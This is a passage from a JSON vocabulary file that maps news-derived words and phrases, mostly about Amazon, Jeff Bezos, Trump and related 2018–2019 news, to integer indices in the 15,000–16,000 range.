15248,\n  \"steeper\": 15249,\n  \"sourcereuters\": 15250,\n  \"sales totals\": 15251,\n  \"bipartisan members\": 15252,\n  \"frequently links\": 15253,\n  \"pick later\": 15254,\n  \"absorb\": 15255,\n  \"600 retail\": 15256,\n  \"film shocked\": 15257,\n  \"syndicated court\": 15258,\n  \"james norton\": 15259,\n  \"sandy beach\": 15260,\n  \"worker\": 15261,\n  \"steady decline\": 15262,\n  \"overshadowed slightly\": 15263,\n  \"valenti\": 15264,\n  \"delrahim trump\": 15265,\n  \"including using\": 15266,\n  \"world charlotte\": 15267,\n  \"settlement agreement\": 15268,\n  \"discuss border\": 15269,\n  \"headlines detailing\": 15270,\n  \"force immigration\": 15271,\n  \"company assessing\": 15272,\n  \"artillery\": 15273,\n  \"218 points\": 15274,\n  \"racially\": 15275,\n  \"moscow hotel\": 15276,\n  \"motives underpin\": 15277,\n  \"devitt wrote\": 15278,\n  \"book 1984\": 15279,\n  \"growth shows\": 15280,\n  \"morgan senior\": 15281,\n  \"cooper profile\": 15282,\n  \"marginalized\": 15283,\n  \"rosenthal paris\": 15284,\n  \"japanese university\": 15285,\n  \"mma supporters\": 15286,\n  \"damn\": 15287,\n  \"mouth piece\": 15288,\n  \"husband abroad\": 15289,\n  \"marillyn lockheed\": 15290,\n  \"kavanaugh michael\": 15291,\n  \"official conduct\": 15292,\n  \"dollars earned\": 15293,\n  \"countless best\": 15294,\n  \"reports newt\": 15295,\n  \"wang amy\": 15296,\n  \"son beau\": 15297,\n  \"pubic company\": 15298,\n  \"foxes\": 15299,\n  \"pj media\": 15300,\n  \"gamble strong\": 15301,\n  \"pentagon aims\": 15302,\n  \"promotion ripple\": 15303,\n  \"false inc_react_displayflag\": 15304,\n  \"ag appointment\": 15305,\n  \"officially facebook\": 15306,\n  \"want information\": 15307,\n  \"appointment michelle\": 15308,\n  \"enquirer close\": 15309,\n  \"washington nov\": 15310,\n  \"exas\": 15311,\n  \"stranger amazon\": 15312,\n  \"comment carmakers\": 15313,\n  \"retailer aside\": 15314,\n  \"subscribers delivering\": 15315,\n  \"wife makenzie\": 15316,\n  \"greed ambition\": 15317,\n  \"struggling susie\": 15318,\n  \"weaker consumer\": 15319,\n  \"bezos virgin\": 15320,\n  \"china adam\": 15321,\n  \"decent reason\": 15322,\n  \"disaster just\": 15323,\n  \"happen severe\": 15324,\n  \"enforcement consumers\": 15325,\n  \"company telling\": 15326,\n  \"underrepresented backgrounds\": 15327,\n  \"honduran president\": 15328,\n  \"florida year\": 15329,\n  \"survivor feels\": 15330,\n  \"automatic checkout\": 15331,\n  \"alienist\": 15332,\n  \"customers nonbinary\": 15333,\n  \"bolts\": 15334,\n  \"fully knowing\": 15335,\n  \"aws surprised\": 15336,\n  \"companies aspx\": 15337,\n  \"compatible 4k\": 15338,\n  \"slight alterations\": 15339,\n  \"discussing industry\": 15340,\n  \"licensors amazon\": 15341,\n  \"competitors using\": 15342,\n  \"interlocking red\": 15343,\n  \"steve kovach\": 15344,\n  \"measure sponsor\": 15345,\n  \"pompeo iran\": 15346,\n  \"mention raising\": 15347,\n  \"typeface\": 15348,\n  \"consolidated financial\": 15349,\n  \"seams airlines\": 15350,\n  \"fame earlier\": 15351,\n  \"fcs\": 15352,\n  \"technologies\": 15353,\n  \"imagealt imageurl\": 15354,\n  \"gross\": 15355,\n  \"grave mistake\": 15356,\n  \"network marcus\": 15357,\n  \"counter\": 15358,\n  \"michelle netflix\": 15359,\n  \"reforms amazon\": 15360,\n  \"goods according\": 15361,\n  \"early stage\": 15362,\n  \"overlap\": 15363,\n  \"remarkably consistent\": 15364,\n  \"suppress speech\": 15365,\n  \"profanity vulgarity\": 15366,\n  \"widespread problems\": 15367,\n  \"city surging\": 15368,\n  \"hopes reuters\": 15369,\n  \"including freshman\": 15370,\n  \"i8 s5\": 15371,\n  \"czech politics\": 15372,\n  \"insurance programs\": 15373,\n  \"helicopter pilot\": 15374,\n  \"items emblazoned\": 15375,\n  \"hanky\": 15376,\n  \"currently names\": 15377,\n  \"used inappropriately\": 15378,\n  \"branding\": 15379,\n  \"bank abominably\": 15380,\n  \"singh lights\": 15381,\n  \"giant ramps\": 15382,\n  \"018\": 15383,\n  \"progress just\": 15384,\n  \"737 model\": 15385,\n  \"packages set\": 15386,\n  \"aggressively amazon\": 15387,\n  \"charms\": 15388,\n  \"komonews\": 15389,\n  \"received 000\": 15390,\n  \"underway today\": 15391,\n  \"global leadership\": 15392,\n  \"evansiegfried\": 15393,\n  \"month sanders\": 15394,\n  \"long acting\": 15395,\n  \"incendiary\": 15396,\n  \"playing hardball\": 15397,\n  \"litigation reform\": 15398,\n  \"alexa flash\": 15399,\n  \"northland\": 15400,\n  \"offline distribution\": 15401,\n  \"single act\": 15402,\n  \"query\": 15403,\n  \"states irs\": 15404,\n  \"eunice yoon\": 15405,\n  \"england\": 15406,\n  \"gazette\": 15407,\n  \"messy truth\": 15408,\n  \"raises suspicions\": 15409,\n  \"rotting trash\": 15410,\n  \"inane patent\": 15411,\n  \"network aired\": 15412,\n  \"alvarez\": 15413,\n  \"skepticism\": 15414,\n  \"nonconsensual\": 15415,\n  \"needs helicopter\": 15416,\n  \"sales decline\": 15417,\n  \"incumbents\": 15418,\n  \"capture commerce\": 15419,\n  \"entire story\": 15420,\n  \"averaged robust\": 15421,\n  \"emails normally\": 15422,\n  \"learn noam\": 15423,\n  \"congressman serrano\": 15424,\n  \"ruin nyc\": 15425,\n  \"web euro\": 15426,\n  \"880\": 15427,\n  \"longtime state\": 15428,\n  \"receiving account\": 15429,\n  \"platform finally\": 15430,\n  \"articlepage\": 15431,\n  \"christian bale\": 15432,\n  \"scrappy\": 15433,\n  \"science grammar\": 15434,\n  \"babis denies\": 15435,\n  \"established brazil\": 15436,\n  \"corporations avoiding\": 15437,\n  \"just handed\": 15438,\n  \"comforting\": 15439,\n  \"filing late\": 15440,\n  \"autonomous decisions\": 15441,\n  \"decreased ishares\": 15442,\n  \"split location\": 15443,\n  \"stay lawsuit\": 15444,\n  \"csr secure\": 15445,\n  \"sales consumers\": 15446,\n  \"dis mac\": 15447,\n  \"playbook florida\": 15448,\n  \"using paper\": 15449,\n  \"source photographer\": 15450,\n  \"does make\": 15451,\n  \"growth process\": 15452,\n  \"hotspot soy\": 15453,\n  \"later updated\": 15454,\n  \"post savoring\": 15455,\n  \"pre scripted\": 15456,\n  \"facilities trump\": 15457,\n  \"comparable store\": 15458,\n  \"meltingly awful\": 15459,\n  \"live little\": 15460,\n  \"actually turn\": 15461,\n  \"soldier returns\": 15462,\n  \"evidence suggests\": 15463,\n  \"news 2019\": 15464,\n  \"blaring headline\": 15465,\n  \"nuclear disarmament\": 15466,\n  \"initial reports\": 15467,\n  \"colorado springs\": 15468,\n  \"cortez appear\": 15469,\n  \"tragedies caused\": 15470,\n  \"stock currently\": 15471,\n  \"hq2 lands\": 15472,\n  \"rules online\": 15473,\n  \"crawdads\": 15474,\n  \"year sale\": 15475,\n  \"metals announces\": 15476,\n  \"keenly\": 15477,\n  \"based retailer\": 15478,\n  \"time looks\": 15479,\n  \"agenda walmart\": 15480,\n  \"fund includes\": 15481,\n  \"restroom\": 15482,\n  \"prayer phil\": 15483,\n  \"enterprise instead\": 15484,\n  \"workplace\": 15485,\n  \"risks rewards\": 15486,\n  \"report wage\": 15487,\n  \"enjoys\": 15488,\n  \"fires\": 15489,\n  \"hoist\": 15490,\n  \"companies collapse\": 15491,\n  \"apnews\": 15492,\n  \"arkells gracious\": 15493,\n  \"000 fewer\": 15494,\n  \"monitored amazon\": 15495,\n  \"investment cycle\": 15496,\n  \"threatened tariffs\": 15497,\n  \"american nathan\": 15498,\n  \"enquirer richter\": 15499,\n  \"aggressively driving\": 15500,\n  \"printing fake\": 15501,\n  \"design homebody\": 15502,\n  \"seek brexit\": 15503,\n  \"stanley relies\": 15504,\n  \"picking martha\": 15505,\n  \"morison\": 15506,\n  \"daily today\": 15507,\n  \"cheryl\": 15508,\n  \"cybersecurity social\": 15509,\n  \"financial struggle\": 15510,\n  \"ai index\": 15511,\n  \"does count\": 15512,\n  \"overdone\": 15513,\n  \"3pm\": 15514,\n  \"environment cristina\": 15515,\n  \"beat trump\": 15516,\n  \"ongoing federal\": 15517,\n  \"fetuses\": 15518,\n  \"headlines including\": 15519,\n  \"book existence\": 15520,\n  \"phony faux\": 15521,\n  \"did pretty\": 15522,\n  \"mexico according\": 15523,\n  \"obama maxine\": 15524,\n  \"66bn\": 15525,\n  \"week kaitlyn\": 15526,\n  \"nsa program\": 15527,\n  \"best hopes\": 15528,\n  \"leave\": 15529,\n  \"administration reportedly\": 15530,\n  \"c5 capital\": 15531,\n  \"massive pic\": 15532,\n  \"denied wrongdoing\": 15533,\n  \"passy happy\": 15534,\n  \"rapid assessment\": 15535,\n  \"nyse wespac\": 15536,\n  \"photo amazon\": 15537,\n  \"labour tory\": 15538,\n  \"major apple\": 15539,\n  \"separated\": 15540,\n  \"posted comments\": 15541,\n  \"vendors lot\": 15542,\n  \"allegedly sold\": 15543,\n  \"tremendous innovation\": 15544,\n  \"pleased photos\": 15545,\n  \"different backgrounds\": 15546,\n  \"policy principles\": 15547,\n  \"tangible\": 15548,\n  \"unhinged mob\": 15549,\n  \"giants novartis\": 15550,\n  \"distrust\": 15551,\n  \"overall national\": 15552,\n  \"chips hardware\": 15553,\n  \"exclusively upward\": 15554,\n  \"adi\": 15555,\n  \"employee morale\": 15556,\n  \"globalised\": 15557,\n  \"pushing cruz\": 15558,\n  \"biodiversity\": 15559,\n  \"expansion untethered\": 15560,\n  \"queens neighborhood\": 15561,\n  \"duckworth\": 15562,\n  \"weeks key\": 15563,\n  \"withdraws arizona\": 15564,\n  \"outdoor trade\": 15565,\n  \"consistently\": 15566,\n  \"trump keeps\": 15567,\n  \"ag\": 15568,\n  \"papes mailbag\": 15569,\n  \"maintain hare\": 15570,\n  \"hyperinflation\": 15571,\n  \"president rosenstein\": 15572,\n  \"eurovision song\": 15573,\n  \"agile way\": 15574,\n  \"stepmother discovered\": 15575,\n  \"strike balance\": 15576,\n  \"kneeling\": 15577,\n  \"immigration plan\": 15578,\n  \"retailers formed\": 15579,\n  \"arloc\": 15580,\n  \"news joke\": 15581,\n  \"fbr slashed\": 15582,\n  \"celebrities including\": 15583,\n  \"utterly rich\": 15584,\n  \"deedee\": 15585,\n  \"trump changed\": 15586,\n  \"play financial\": 15587,\n  \"indirect attack\": 15588,\n  \"historical yelp\": 15589,\n  \"st martin\": 15590,\n  \"offered houses\": 15591,\n  \"rape charges\": 15592,\n  \"declared monopoly\": 15593,\n  \"attend transfer\": 15594,\n  \"leaning think\": 15595,\n  \"allegedly accepting\": 15596,\n  \"spokeswoman elissa\": 15597,\n  \"strong return\": 15598,\n  \"eric brackett\": 15599,\n  \"search dogs\": 15600,\n  \"getting absolutely\": 15601,\n  \"cta\": 15602,\n  \"expected currency\": 15603,\n  \"pollster\": 15604,\n  \"turn tail\": 15605,\n  \"day met\": 15606,\n  \"times clark\": 15607,\n  \"kids multiplication\": 15608,\n  \"climbed higher\": 15609,\n  \"blog bezos\": 15610,\n  \"fell following\": 15611,\n  \"2017 bezos\": 15612,\n  \"dollop\": 15613,\n  \"profile congresswoman\": 15614,\n  \"used mattress\": 15615,\n  \"donathan hurley\": 15616,\n  \"publication claimed\": 15617,\n  \"rising trade\": 15618,\n  \"lentz\": 15619,\n  \"thirstiest ways\": 15620,\n  \"state known\": 15621,\n  \"dead student\": 15622,\n  \"salesforce chairman\": 15623,\n  \"jquery document\": 15624,\n  \"advisory committee\": 15625,\n  \"market fear\": 15626,\n  \"venture group\": 15627,\n  \"provision limiting\": 15628,\n  \"monitor stand\": 15629,\n  \"whistleblower\": 15630,\n  \"investigators working\": 15631,\n  \"bio follow\": 15632,\n  \"2019 variously\": 15633,\n  \"grave illness\": 15634,\n  \"capital circle\": 15635,\n  \"present opponents\": 15636,\n  \"blair interview\": 15637,\n  \"postmaster megan\": 15638,\n  \"strategy london\": 15639,\n  \"claimed various\": 15640,\n  \"dpsrc\": 15641,\n  \"feels ready\": 15642,\n  \"potential price\": 15643,\n  \"share buybacks\": 15644,\n  \"published images\": 15645,\n  \"disenfranchised\": 15646,\n  \"fakenews washington\": 15647,\n  \"tohakrvr4h\": 15648,\n  \"center employees\": 15649,\n  \"taiga\": 15650,\n  \"browsing records\": 15651,\n  \"apple trades\": 15652,\n  \"person smart\": 15653,\n  \"reiley\": 15654,\n  \"nomination planned\": 15655,\n  \"money people\": 15656,\n  \"ancillary jobs\": 15657,\n  \"inland historical\": 15658,\n  \"gettingit\": 15659,\n  \"200 square\": 15660,\n  \"important point\": 15661,\n  \"wars ish\": 15662,\n  \"city trump\": 15663,\n  \"gentrifying space\": 15664,\n  \"shipping trump\": 15665,\n  \"undertake\": 15666,\n  \"chris green\": 15667,\n  \"operating\": 15668,\n  \"personal according\": 15669,\n  \"presidential directive\": 15670,\n  \"information suggests\": 15671,\n  \"resistance fighters\": 15672,\n  \"lion new\": 15673,\n  \"doesn allow\": 15674,\n  \"deadly lion\": 15675,\n  \"open insult\": 15676,\n  \"bezos explained\": 15677,\n  \"minute entertainment\": 15678,\n  \"george pell\": 15679,\n  \"incrementally\": 15680,\n  \"cramer boot\": 15681,\n  \"ordered reported\": 15682,\n  \"team takes\": 15683,\n  \"digital wallets\": 15684,\n  \"howard paul\": 15685,\n  \"obligations postmaster\": 15686,\n  \"ubereats amazon\": 15687,\n  \"aclu directed\": 15688,\n  \"midterms voters\": 15689,\n  \"long lasting\": 15690,\n  \"lander brought\": 15691,\n  \"videocmsuri videos\": 15692,\n  \"subsidies wyden\": 15693,\n  \"corporate equality\": 15694,\n  \"originally granted\": 15695,\n  \"ali\": 15696,\n  \"california filed\": 15697,\n  \"reasons large\": 15698,\n  \"bezos feels\": 15699,\n  \"ticked\": 15700,\n  \"technews samsung\": 15701,\n  \"ceramic blade\": 15702,\n  \"digging\": 15703,\n  \"potentially ending\": 15704,\n  \"targeted ads\": 15705,\n  \"tastes\": 15706,\n  \"beleaguered tenure\": 15707,\n  \"polls showed\": 15708,\n  \"meeting possible\": 15709,\n  \"second quarter\": 15710,\n  \"seconds indonesia\": 15711,\n  \"broad political\": 15712,\n  \"enquirer proudly\": 15713,\n  \"amazon policing\": 15714,\n  \"2019 haymarket\": 15715,\n  \"wrangles\": 15716,\n  \"investing article\": 15717,\n  \"comity\": 15718,\n  \"cohen committed\": 15719,\n  \"wireless service\": 15720,\n  \"game preorder\": 15721,\n  \"proposal followed\": 15722,\n  \"pushing amnesty\": 15723,\n  \"deprive\": 15724,\n  \"final thoughts\": 15725,\n  \"daniel dromm\": 15726,\n  \"powered search\": 15727,\n  \"ustr\": 15728,\n  \"pair\": 15729,\n  \"obstruction\": 15730,\n  \"retail store\": 15731,\n  \"washington think\": 15732,\n  \"soy growers\": 15733,\n  \"inbox subscribe\": 15734,\n  \"following sharp\": 15735,\n  \"nast editors\": 15736,\n  \"creditjohannes\": 15737,\n  \"improve rail\": 15738,\n  \"future cloud\": 15739,\n  \"represent political\": 15740,\n  \"including actual\": 15741,\n  \"publishing company\": 15742,\n  \"technology new\": 15743,\n  \"kerfuffle\": 15744,\n  \"c6\": 15745,\n  \"sen bob\": 15746,\n  \"trump chief\": 15747,\n  \"rating followed\": 15748,\n  \"somber tributes\": 15749,\n  \"age original\": 15750,\n  \"previously determined\": 15751,\n  \"mvp\": 15752,\n  \"different times\": 15753,\n  \"consuming process\": 15754,\n  \"506\": 15755,\n  \"ut prunderground\": 15756,\n  \"circulating photo\": 15757,\n  \"individual operations\": 15758,\n  \"hightower lowdown\": 15759,\n  \"immigration speaking\": 15760,\n  \"frankly don\": 15761,\n  \"downie\": 15762,\n  \"motogp\": 15763,\n  \"tyger manufacturing\": 15764,\n  \"year irish\": 15765,\n  \"photo01\": 15766,\n  \"650\": 15767,\n  \"growth hottovy\": 15768,\n  \"act cost\": 15769,\n  \"story netflix\": 15770,\n  \"retirees\": 15771,\n  \"federal food\": 15772,\n  \"broad measure\": 15773,\n  \"post presidential\": 15774,\n  \"operations teams\": 15775,\n  \"hanson senior\": 15776,\n  \"prohibitive industry\": 15777,\n  \"visual aids\": 15778,\n  \"skin mit\": 15779,\n  \"department russia\": 15780,\n  \"temporarily banned\": 15781,\n  \"2019 dressing\": 15782,\n  \"kyle daly\": 15783,\n  \"calls trying\": 15784,\n  \"emails texts\": 15785,\n  \"toilet scrubbed\": 15786,\n  \"suitors\": 15787,\n  \"devel read\": 15788,\n  \"arabia amazon\": 15789,\n  \"marjory\": 15790,\n  \"republican hates\": 15791,\n  \"amazon machine\": 15792,\n  \"living artist\": 15793,\n  \"67th edition\": 15794,\n  \"israel occupies\": 15795,\n  \"david streitfeld\": 15796,\n  \"markets list\": 15797,\n  \"coltin tweeted\": 15798,\n  \"received\": 15799,\n  \"davidson whirlwind\": 15800,\n  \"rentals\": 15801,\n  \"loud tone\": 15802,\n  \"york 21st\": 15803,\n  \"cbc news\": 15804,\n  \"jonathan hoenig\": 15805,\n  \"widespread outages\": 15806,\n  \"mediamatters\": 15807,\n  \"1982\": 15808,\n  \"commerce sanders\": 15809,\n  \"critics euro\": 15810,\n  \"rhetoric saying\": 15811,\n  \"lola\": 15812,\n  \"new apartments\": 15813,\n  \"bezos saying\": 15814,\n  \"fascist\": 15815,\n  \"686\": 15816,\n  \"getting personal\": 15817,\n  \"david lynch\": 15818,\n  \"chestnut rubber\": 15819,\n  \"past helping\": 15820,\n  \"netflix samin\": 15821,\n  \"000 mugshots\": 15822,\n  \"unreleased rainy\": 15823,\n  \"tremendous growth\": 15824,\n  \"pyeongchang south\": 15825,\n  \"manage drivers\": 15826,\n  \"walmart eliminating\": 15827,\n  \"studiously avoids\": 15828,\n  \"unscathed\": 15829,\n  \"surprisingly kept\": 15830,\n  \"reconsider company\": 15831,\n  \"congressional tormentors\": 15832,\n  \"centers manufacturing\": 15833,\n  \"netflix therese\": 15834,\n  \"trappings\": 15835,\n  \"writers ovide\": 15836,\n  \"indices\": 15837,\n  \"bowden\": 15838,\n  \"error frequently\": 15839,\n  \"unemployment\": 15840,\n  \"___ stephen\": 15841,\n  \"postal charges\": 15842,\n  \"chief christine\": 15843,\n  \"india prompting\": 15844,\n  \"needlessly threatens\": 15845,\n  \"data plans\": 15846,\n  \"cdn\": 15847,\n  \"itep shows\": 15848,\n  \"poll numbers\": 15849,\n  \"umizoomi\": 15850,\n  \"house barbara\": 15851,\n  \"services industry\": 15852,\n  \"suggest technical\": 15853,\n  \"isolation continue\": 15854,\n  \"unfairly pushing\": 15855,\n  \"300\": 15856,\n  \"strong revenue\": 15857,\n  \"films focus\": 15858,\n  \"question relative\": 15859,\n  \"facing confidence\": 15860,\n  \"pictures published\": 15861,\n  \"mod hp_listb_pos2\": 15862,\n  \"antitrust professor\": 15863,\n  \"clearing skies\": 15864,\n  \"1527845402\": 15865,\n  \"hq2 choice\": 15866,\n  \"csco guidance\": 15867,\n  \"lordstown\": 15868,\n  \"week tonight\": 15869,\n  \"continues tariff\": 15870,\n  \"alphabet alphabet\": 15871,\n  \"evidence sanders\": 15872,\n  \"correctly assessing\": 15873,\n  \"david atkins\": 15874,\n  \"bezos people\": 15875,\n  \"neurological disorder\": 15876,\n  \"jobs gates\": 15877,\n  \"markowitz\": 15878,\n  \"sophomores\": 15879,\n  \"police board\": 15880,\n  \"theory alleging\": 15881,\n  \"equity prices\": 15882,\n  \"cloud africa\": 15883,\n  \"years despite\": 15884,\n  \"provision asserting\": 15885,\n  \"series big\": 15886,\n  \"arrest michael\": 15887,\n  \"postage online\": 15888,\n  \"113\": 15889,\n  \"jan ubs\": 15890,\n  \"citizens reach\": 15891,\n  \"reach billion\": 15892,\n  \"outperform apr\": 15893,\n  \"turned madame\": 15894,\n  \"law tu\": 15895,\n  \"steinle\": 15896,\n  \"treasury markets\": 15897,\n  \"2017 inauguration\": 15898,\n  \"randomly selected\": 15899,\n  \"digital genies\": 15900,\n  \"content delivery\": 15901,\n  \"spelling fang\": 15902,\n  \"navarro did\": 15903,\n  \"cloudtail\": 15904,\n  \"peoples told\": 15905,\n  \"hay\": 15906,\n  \"people best\": 15907,\n  \"military build\": 15908,\n  \"100m commitment\": 15909,\n  \"interfere heavily\": 15910,\n  \"damodaran professor\": 15911,\n  \"constraints doctor\": 15912,\n  \"analysts reckon\": 15913,\n  \"minimize pay\": 15914,\n  \"alcoa previously\": 15915,\n  \"effect 2018\": 15916,\n  \"mississippi\": 15917,\n  \"job protections\": 15918,\n  \"rumors swirled\": 15919,\n  \"poland vice\": 15920,\n  \"pathetic\": 15921,\n  \"kanter\": 15922,\n  \"secondhand cupboard\": 15923,\n  \"substantially reduced\": 15924,\n  \"1047et copyright\": 15925,\n  \"vast commerce\": 15926,\n  \"rape criminal\": 15927,\n  \"underrepresented segments\": 15928,\n  \"given\": 15929,\n  \"nyc says\": 15930,\n  \"cnl_global_nav_background_gradient_end null\": 15931,\n  \"moynihan\": 15932,\n  \"washington sized\": 15933,\n  \"internal axe\": 15934,\n  \"katie yu\": 15935,\n  \"democrats following\": 15936,\n  \"slaughtering animals\": 15937,\n  \"commissioner told\": 15938,\n  \"eve amp\": 15939,\n  \"18125765\": 15940,\n  \"amazon aapl\": 15941,\n  \"exactly 000\": 15942,\n  \"collom\": 15943,\n  \"marked shift\": 15944,\n  \"generation listers\": 15945,\n  \"heeled audience\": 15946,\n  \"policy phil\": 15947,\n  \"address currently\": 15948,\n  \"dismiss oracle\": 15949,\n  \"denounced amazon\": 15950,\n  \"point ap\": 15951,\n  \"fd\": 15952,\n  \"days following\": 15953,\n  \"house lawyer\": 15954,\n  \"epa dismiss\": 15955,\n  \"thiel admitted\": 15956,\n  \"big bezos\": 15957,\n  \"kiesling\": 15958,\n  \"startup companies\": 15959,\n  \"sellers according\": 15960,\n  \"slogan inquiring\": 15961,\n  \"la tercera\": 15962,\n  \"damaging new\": 15963,\n  \"relationship including\": 15964,\n  \"position outside\": 15965,\n  \"twitter lucasnolan\": 15966,\n  \"house midterm\": 15967,\n  \"growing controversy\": 15968,\n  \"textbook example\": 15969,\n  \"fed survey\": 15970,\n  \"lowering drug\": 15971,\n  \"matter concerned\": 15972,\n  \"coniam\": 15973,\n  \"company regardless\": 15974,\n  \"distributors promoting\": 15975,\n  \"foot warehouse\": 15976,\n  \"hourly average\": 15977,\n  \"amazon motley\": 15978,\n  \"longtime trump\": 15979,\n  \"war developments\": 15980,\n  \"consumption growth\": 15981,\n  \"report brennan\": 15982,\n  \"threaten berlin\": 15983,\n  \"anheuser busch\": 15984,\n  \"overnight declines\": 15985,\n  \"funnier\": 15986,\n  \"analyst amazon\": 15987,\n  \"awards season\": 15988,\n  \"users fortnite\": 15989,\n  \"swish kalorama\": 15990,\n  \"bram\": 15991,\n  \"today content\": 15992,\n  \"saying word\": 15993,\n  \"repeatedly stated\": 15994,\n  \"amazon trade\": 15995,\n  \"head scott\": 15996,\n  \"allies washington\": 15997,\n  \"start transferring\": 15998,\n  \"northgate lynwood\": 15999,\n  \"tenth suspicious\": 16000,\n  \"chain based\": 16001,\n  \"bogle criticisms\": 16002,\n  \"project fi\": 16003,\n  \"member responded\": 16004,\n  \"position familiar\": 16005,\n  \"screen competitor\": 16006,\n  \"earnings today\": 16007,\n  \"house antitrust\": 16008,\n  \"castigated\": 16009,\n  \"music audible\": 16010,\n  \"cities deliveroo\": 16011,\n  \"profile campaign\": 16012,\n  \"using jeff\": 16013,\n  \"months felt\": 16014,\n  \"org apr\": 16015,\n  \"rizer spokesperson\": 16016,\n  \"tv attorney\": 16017,\n  \"canceling salute\": 16018,\n  \"share war\": 16019,\n  \"decisive\": 16020,\n  \"revenue soared\": 16021,\n  \"decade washington\": 16022,\n  \"sul reserve\": 16023,\n  \"wrap quoted\": 16024,\n  \"far outperformed\": 16025,\n  \"broken meet\": 16026,\n  \"indigenous peoples\": 16027,\n  \"childhood arrivals\": 16028,\n  \"poorer residents\": 16029,\n  \"chevron heavily\": 16030,\n  \"unseated\": 16031,\n  \"broad approval\": 16032,\n  \"matter immigration\": 16033,\n  \"rodrigo sweep\": 16034,\n  \"amazon program\": 16035,\n  \"lawsuit purdue\": 16036,\n  \"rsa recovered\": 16037,\n  \"allow functionality\": 16038,\n  \"farhad\": 16039,\n  \"d8 l8\": 16040,\n  \"duplicitous characters\": 16041,\n  \"dominated space\": 16042,\n  \"environmental crimes\": 16043,\n  \"gates euro\": 16044,\n  \"times describes\": 16045,\n  \"really moves\": 16046,\n  \"5ff1b69e\": 16047,\n  \"normally 250\": 16048,\n  \"china adds\": 16049,\n  \"reports second\": 16050,\n  \"city unidentified\": 16051,\n  \"follow city\": 16052,\n  \"online emporium\": 16053,\n  \"defaults mnuchin\": 16054,\n  \"trumpist\": 16055,\n  \"trade agenda\": 16056,\n  \"hardline immigration\": 16057,\n  \"read boy\": 16058,\n  \"lumbering\": 16059,\n  \"madness donald\": 16060,\n  \"wholesome recipes\": 16061,\n  \"temperatures polar\": 16062,\n  \"briefing room\": 16063,\n  \"snapchat parent\": 16064,\n  \"upended bricks\": 16065,\n  \"require senate\": 16066,\n  \"sources reports\": 16067,\n  \"isn working\": 16068,\n  \"action alerts\": 16069,\n  \"jessicabruder edit\": 16070,\n  \"company cause\": 16071,\n  \"ami sources\": 16072,\n  \"old amazon\": 16073,\n  \"bnsf\": 16074,\n  \"g0\": 16075,\n  \"speaker ryan\": 16076,\n  \"great multiplayer\": 16077,\n  \"convicted british\": 16078,\n  \"warmer includes\": 16079,\n  \"office press\": 16080,\n  \"2f4\": 16081,\n  \"results flood\": 16082,\n  \"exclusive trump\": 16083,\n  \"regime spy\": 16084,\n  \"ross sorkin\": 16085,\n  \"100008240777381 posts\": 16086,\n  \"involved 96th\": 16087,\n  \"times feature\": 16088,\n  \"took concrete\": 16089,\n  \"bank closely\": 16090,\n  \"israel independence\": 16091,\n  \"haven revealed\": 16092,\n  \"french pastry\": 16093,\n  \"consumers jonestrading\": 16094,\n  \"access today\": 16095,\n  \"washingtonian magazine\": 16096,\n  \"year case\": 16097,\n  \"producer peter\": 16098,\n  \"try\": 16099,\n  \"company hq2\": 16100,\n  \"contact supplier\": 16101,\n  \"episode titled\": 16102,\n  \"springs boulevard\": 16103,\n  \"political commentary\": 16104,\n  \"later\": 16105,\n  \"amzn finished\": 16106,\n  \"newly discovered\": 16107,\n  \"soon lead\": 16108,\n  \"drinks\": 16109,\n  \"phone market\": 16110,\n  \"cheraw\": 16111,\n  \"locals popped\": 16112,\n  \"snl clearly\": 16113,\n  \"pushed higher\": 16114,\n  \"bezos lost\": 16115,\n  \"democrats release\": 16116,\n  \"states react\": 16117,\n  \"songwriters\": 16118,\n  \"yellow line\": 16119,\n  \"faux lego\": 16120,\n  \"losing dominance\": 16121,\n  \"energy industry\": 16122,\n  \"powerful supervisors\": 16123,\n  \"tweet just\": 16124,\n  \"sophisticated\": 16125,\n  \"prosecutors agreed\": 16126,\n  \"chicago suntimes\": 16127,\n  \"leader george\": 16128,\n  \"chases\": 16129,\n  \"democrats unwillingness\": 16130,\n  \"kept new\": 16131,\n  \"publication president\": 16132,\n  \"means available\": 16133,\n  \"commerce vendor\": 16134,\n  \"troubled investment\": 16135,\n  \"lima 04m\": 16136,\n  \"minded trump\": 16137,\n  \"reputable voices\": 16138,\n  \"philippine rebels\": 16139,\n  \"5bn packages\": 16140,\n  \"jobs oracle\": 16141,\n  \"stevens says\": 16142,\n  \"security latest\": 16143,\n  \"nude photographs\": 16144,\n  \"mitsui tru\": 16145,\n  \"point haverty\": 16146,\n  \"muckerman\": 16147,\n  \"major initiatives\": 16148,\n  \"perceived political\": 16149,\n  \"alive worth\": 16150,\n  \"desk space\": 16151,\n  \"ehealth\": 16152,\n  \"consulting\": 16153,\n  \"capital murder\": 16154,\n  \"professor brian\": 16155,\n  \"ebay decade\": 16156,\n  \"near oxford\": 16157,\n  \"updated echo\": 16158,\n  \"important subjects\": 16159,\n  \"tax giving\": 16160,\n  \"master meal\": 16161,\n  \"dead according\": 16162,\n  \"finance taxes\": 16163,\n  \"latest jones\": 16164,\n  \"cod\": 16165,\n  \"board hundreds\": 16166,\n  \"companies social\": 16167,\n  \"whitehouse\": 16168,\n  \"privacy storm\": 16169,\n  \"vaping\": 16170,\n  \"power line\": 16171,\n  \"cash money\": 16172,\n  \"young audience\": 16173,\n  \"square labs\": 16174,\n  \"breezing\": 16175,\n  \"2750521 announced\": 16176,\n  \"billion steve\": 16177,\n  \"original hartnell\": 16178,\n  \"parade truly\": 16179,\n  \"edition tech\": 16180,\n  \"eliminate competitors\": 16181,\n  \"lasser\": 16182,\n  \"dan colarusso\": 16183,\n  \"336 million\": 16184,\n  \"units amazon\": 16185,\n  \"marketplace amazon\": 16186,\n  \"throats\": 16187,\n  \"deal killer\": 16188,\n  \"boycott trump\": 16189,\n  \"h0 j8i\": 16190,\n  \"dubbed amazon\": 16191,\n  \"restructuring retiree\": 16192,\n  \"trump increases\": 16193,\n  \"recently filed\": 16194,\n  \"boulevard crossing\": 16195,\n  \"isn generating\": 16196,\n  \"flies solo\": 16197,\n  \"axel springer\": 16198,\n  \"common retirement\": 16199,\n  \"white morons\": 16200,\n  \"john locher\": 16201,\n  \"dent\": 16202,\n  \"cultural applications\": 16203,\n  \"campaigning\": 16204,\n  \"showboating\": 16205,\n  \"2019 washington\": 16206,\n  \"michele\": 16207,\n  \"centrist\": 16208,\n  \"harassed\": 16209,\n  \"peters\": 16210,\n  \"voluntarily handed\": 16211,\n  \"commissioner rohit\": 16212,\n  \"push falters\": 16213,\n  \"switch 2018\": 16214,\n  \"amazon brennan\": 16215,\n  \"city gov\": 16216,\n  \"photo china\": 16217,\n  \"union facebook\": 